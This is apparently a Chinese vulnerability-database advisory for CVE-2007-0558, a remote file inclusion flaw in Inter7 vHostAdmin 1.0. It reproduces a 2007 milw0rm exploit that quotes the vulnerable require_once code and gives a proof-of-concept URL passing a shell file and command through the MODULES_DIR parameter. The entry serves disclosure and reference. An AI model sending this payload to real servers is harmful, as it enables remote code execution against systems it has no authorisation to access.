Inter7 vHostAdmin 'main.php' PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112069 漏洞类型 未知
发布时间 2007-01-24 更新时间 2007-01-30
CVE编号 CVE-2007-0558 CNNVD-ID CNNVD-200701-559
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3191
https://www.securityfocus.com/bid/86718
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-559
|漏洞详情
Inter7vHostAdmin1.0版本的modules/mail/main.php中存在PHP远程文件包含漏洞。远程攻击者可以借助MODULES_DIR参数中的一个URL,执行任意PHP代码。
|漏洞EXP
_________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:vHostAdmin
Affected Version:1.0
Risk:Highly Critical
Downlaoad:http://www.inter7.com/vhostadmin/vhostadmin-cvs-1112134662.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (modules/mail/main.php)
Vul Code;
require_once($MODULES_DIR . '/mail/domains.php');
require_once($MODULES_DIR . '/mail/users.php');
require_once($MODULES_DIR . '/mail/forwards.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/modules/mail/main.php?MODULES_DIR=shell.txt?&cmd=0wn3d 
By Dr Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24]
|受影响的产品
Inter7 vhostadmin 1.0
|参考资料

来源:MILW0RM
名称:3191
链接:http://www.milw0rm.com/exploits/3191
来源:VUPEN
名称:ADV-2007-0339
链接:http://www.frsirt.com/english/advisories/2007/0339
来源:OSVDB
名称:36627
链接:http://osvdb.org/36627
来源:MILW0RM
名称:3191
链接:http://milw0rm.com/exploits/3191